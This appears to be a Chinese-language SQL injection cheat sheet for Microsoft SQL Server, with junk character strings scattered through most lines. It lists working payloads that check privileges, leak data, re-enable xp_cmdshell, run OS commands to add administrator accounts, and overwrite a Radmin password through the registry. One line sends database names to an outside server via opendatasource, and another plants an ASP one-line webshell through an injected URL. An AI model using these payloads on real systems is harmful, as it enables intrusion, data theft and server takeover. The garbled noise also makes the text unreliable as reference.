//看看是什么权限的' |, u" Y% O' g" h$ S/ v
and 1=(Select IS_MEMBER('db_owner')); X0 }" ]. _: ]) m
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--/ f$ ]& G' D; @! ~ \
1 ^/ D0 o B1 R//检测是否有读取某数据库的权限
5 R p$ K5 c' V: F8 N0 Q" nand 1= (Select HAS_DBACCESS('master')), B8 \* Y l/ d* C3 S. Y/ X
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --2 D6 B& a; n" d7 R
1 c7 h1 J# e& D- y! F
+ D- R; C) x) K' H4 S+ T/ g
数字类型
: Y% J5 k2 g+ G. F; K% I2 wand char(124)%2Buser%2Bchar(124)=0 V, I' H# ]0 p- {9 w
$ F$ l0 ]6 ?( L+ N4 i# ^4 q2 ?字符类型
) z4 g# x8 U2 @* C4 D' and char(124)%2Buser%2Bchar(124)=0 and ''='. \9 ^! G) Z1 W' _4 _6 H; b
! @ S6 M! z9 n8 g搜索类型: d: Q& u1 U: t- L
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
2 e- b& h! u0 v0 k* c
0 U4 g0 j& i7 e* ^爆用户名
( j g n- c# n/ cand user>0! g4 t7 S( c+ W2 A [
' and user>0 and ''='
& k: ^3 C0 p" T: E) A/ F, D W) u: F
- t( Y: A9 i- N3 b检测是否为SA权限: o8 G6 O+ K: m7 o$ G5 w! p$ A4 o
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--' i" T& h/ }" J3 W0 A
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
/ r! j' ~& u* x/ [9 C$ n$ ?+ N
1 z' `$ @# e- U# s检测是不是MSSQL数据库
, v" t8 f7 N/ I b c8 fand exists (select * from sysobjects);--% P* q7 _1 O+ F
. c& g; O% P8 B检测是否支持多行
2 Q! {$ J. [8 ~% s7 d;declare @d int;--
2 [9 a/ X6 U% m! x% z8 ?, t, C
9 z7 a }8 J" {4 e恢复 xp_cmdshell2 d: _8 }" D0 [4 Y/ [' e. Y
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
( c' ]- T: R9 C5 `9 y# i# ?) G8 K* b n0 Z0 C* V1 H
; D# ?- I# G% P. M! Y
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')4 J& y# b4 |' l2 l
5 f: h8 |; K3 B5 _( H
//-----------------------
- @. ]8 ]3 V" | z4 I// 执行命令
% w" y" A' y5 J1 a//-----------------------3 q) w- ?! @1 P9 }
首先开启沙盘模式:
, y0 A+ U* t( F5 [7 L5 qexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; t1 N7 U" M/ [+ H$ c3 W( [1 v
9 g- d- j; P# p& ?8 l* @
然后利用jet.oledb执行系统命令2 x3 S6 Y+ ^- w3 E5 L
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')3 `* w, c0 F" K% a0 P$ x5 R
. Y) J$ y/ c1 l
执行命令
* {) V5 n" t+ j9 p;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
4 K* U+ F1 Z+ p5 a
% z6 U1 `# M, p* x, g7 M. PEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111', K) A6 d8 ^# G2 N! F; e" a
. p. n% z* i- j" A判断xp_cmdshell扩展存储过程是否存在:% ~# u4 Q. n5 Y# Y# W! {) i
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')# r- i/ \- K5 i
1 O) a" X6 \' b( ]1 a5 P写注册表
7 l# z: Q" W/ e) jexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1& e2 Y$ A9 Y4 E/ h
8 j- ^# R, D; \2 @) t
REG_SZ; K: h2 T2 L X2 @& k! f+ k7 v8 u
3 O) C T, D* w5 e% H: C# D
读注册表
1 d% U8 x n+ N1 Xexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
4 z! `- h" P' `% G: ^# A! \, H+ V9 q5 S, B$ x
读取目录内容
, I+ F a' I+ Z: Z7 E) pexec master..xp_dirtree 'c:\winnt\system32\',1,1
5 C; O+ T- J9 I/ e- U' J8 g* J
( d; x0 G- k$ U# k& P- s, C1 V& M" X: g. m8 M! {
数据库备份
K' }& _4 U, E6 {2 f& y, |* Qbackup database pubs to disk = 'c:\123.bak'/ R4 r* G: G5 Y; f# L0 T' z1 K
( n) ?* {& W6 t# I//爆出长度
% N3 }( b" u0 W2 l% s0 H9 O% ]And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--5 I- _) `5 N8 W- x% x
6 _" _8 P; h* J! q5 o; O- t
* z9 w. y: R" v0 k( O/ F$ y
# z( ?$ K$ N7 U" c更改sa口令方法:用sql综合利用工具连接后,执行命令:9 G% J6 _, y8 S; A. [% T
exec sp_password NULL,'新密码','sa'
" \/ Z, c( R+ n K+ G; Z2 o! b- ^3 \5 |! C: @; c' \
添加和删除一个SA权限的用户test:& e3 Y( _+ H; Z( e7 ^7 J
exec master.dbo.sp_addlogin test,95307729 ^8 D" B) @- H5 ^% ?1 w9 [
exec master.dbo.sp_addsrvrolemember test,sysadmin* a8 H. [4 s3 ?% R2 p+ o8 ^
u! d8 Y4 }' Q# P1 A) y- S( c删除扩展存储过过程xp_cmdshell的语句:) M( F3 [7 w. i" M5 X$ Z
exec sp_dropextendedproc 'xp_cmdshell' f7 y" a: `% Q5 j3 j
2 U& f( d; `+ [! W, E
添加扩展存储过过程
! J) x7 j+ V% G4 H5 d& q* CEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' r( O$ u4 \2 b, ^" M
GRANT exec On xp_proxiedadata TO public3 _6 N+ t# q. B6 c1 K/ m+ ~
O3 a7 H B+ P5 Q, V& h
8 V% O* M$ ~2 D! {4 ~) {% s停掉或激活某个服务。- _/ j# s6 u( x
" a0 p! c4 p* }/ u4 c0 K
exec master..xp_servicecontrol 'stop','schedule'' L* ` ?; c# r% f
exec master..xp_servicecontrol 'start','schedule'% _+ y* l F: B G
7 `+ N" t/ q' g3 ?dbo.xp_subdirs
' y1 J: i/ G$ z3 d# ?0 e3 z g& I& U7 ]! _& V7 i% F/ i" h( u
只列某个目录下的子目录。
4 o5 ]8 Z1 L, D, d" z, `: Axp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
3 a# S+ s+ }- I6 j; O ^. E) k+ a% A! z9 k' r9 A" a$ D7 L( m
dbo.xp_makecab
0 A7 V& q! T' t! n
, A% n7 Z6 P# b" k将目标多个档案压缩到某个目标档案之内。
) \8 f+ a1 L. N7 W& E% T% ~所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。; L- k/ j/ X+ _* `
; k$ V. x. m% H7 B# c- v
dbo.xp_makecab
7 m, r0 N3 E# \5 b'c:\test.cab','mszip',1,9 Z' P, R$ b+ H5 p
'C:\Inetpub\wwwroot\SQLInject\login.asp',
2 D p1 E7 i! ^" P& G0 x' w5 R'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'6 ?( _4 z6 I4 M Q
: p% p; N/ w" r' W$ sxp_terminate_process
6 a; W* }! z" Y( m) l: g5 k8 Z+ g
2 K: A3 M9 \# j& K+ O停掉某个执行中的程序,但赋予的参数是 Process ID。
( B( H5 X" C2 R- g k! k: Z利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
( F3 \) d/ X5 z, d- c2 n! Y# G
9 F6 s/ y, F( ]xp_terminate_process 2484
( V2 d/ U$ n& ^( ~; I" d
# S; S9 b( w: h* s; ~6 axp_unpackcab% V5 s& D& {. I# `7 I! L, k
; k" k3 b. F* p6 P9 Q# m! b3 L
解开压缩档。
1 P: z3 O, |6 @# P& H+ K$ H$ {6 K( u% L* f# \2 S) J$ [4 P0 L
xp_unpackcab 'c:\test.cab','c:\temp',1; c7 `( x' X$ R& i& t
& R$ L a( j. E$ \2 X( ?0 g
9 q( X& B- }/ D' C某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
9 t2 `% Z x5 v: J. [8 j2 k
5 C2 T; p; l8 W$ Ccreate database lcx;0 z! }/ B* P a5 x. Z. V
Create TABLE ku(name nvarchar(256) null);& k% s5 n2 b% s$ V8 S
Create TABLE biao(id int NULL,name nvarchar(256) null);: g3 q8 P3 w8 P5 @
+ n& F6 b' P% a! q$ v1 M//得到数据库名0 o' N, M" p0 f$ I
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
1 F. \) u& f' y
$ q' R9 H/ |3 o) C( P. h4 P
/ H7 A x" V* S9 _6 A# k2 \//在Master中创建表,看看权限怎样2 X' h% c& w0 {; E) n8 \0 z8 q
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
% t( \. q! H4 {8 y1 [4 d3 i, e# n# Y% P. k& }: P. a* b
用 sp_makewebtask直接在web目录里写入一句话马:
* Y/ Y1 C& y+ x+ Lhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--/ Q: ~$ m$ x8 k; M1 R- a
; `2 _' L1 c5 ~! t& ^4 X' J//更新表内容( [ Z- @" i9 S* V0 Q- |
Update films SET kind = 'Dramatic' Where id = 123
/ {+ W, e z. b# i) w
- T5 I9 d4 S2 V6 D g @//删除内容; |9 O/ ?& X3 N8 h. {1 Y
delete from table_name where Stockid = 3 |